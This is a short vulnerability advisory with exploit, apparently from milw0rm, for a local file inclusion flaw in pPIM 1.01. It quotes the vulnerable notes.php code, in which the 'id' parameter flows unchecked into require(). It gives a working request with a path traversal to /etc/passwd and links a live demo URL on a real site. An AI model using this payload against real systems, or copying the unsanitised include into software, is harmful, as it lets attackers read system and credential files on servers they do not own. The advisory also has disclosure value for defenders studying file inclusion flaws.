# pPIM 1.01 (notes.php id) Local File Inclusion Vulnerability
# url: http://www.phlatline.org/docs/files/ppim.zip
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
description of vulnerability:
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the variable 'id' has been not defined in code 
and the variable 'id' is sent by the users.
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vuln file: notes.php
vuln code:
x:  >...
107: if (isset($_GET["mode"]))
	 {
	  	if ($_GET["mode"]=="edit")
		{
		 if (isset($_GET['id']))
		 {
		  	$notefile = $_GET['id'];
			if ($notefile == "new")
			{
			 $title = "";
			 $notes = "";
			}
			else
			{
			 $temp = "notes/" . $notefile;
			 require($temp);
123:			}
x:  <...
x: }}}
exploit: GET /notes.php?mode=edit&id=[file]
sample (xpl): http://www.localhost.com/notes.php?mode=edit&id=../../../../../../../../../../etc/passwd
live demo:
http://www.phlatline.org/docs/demos/ppim/notes.php?mode=edit&id=../notes.php
# milw0rm.com [2008-10-04]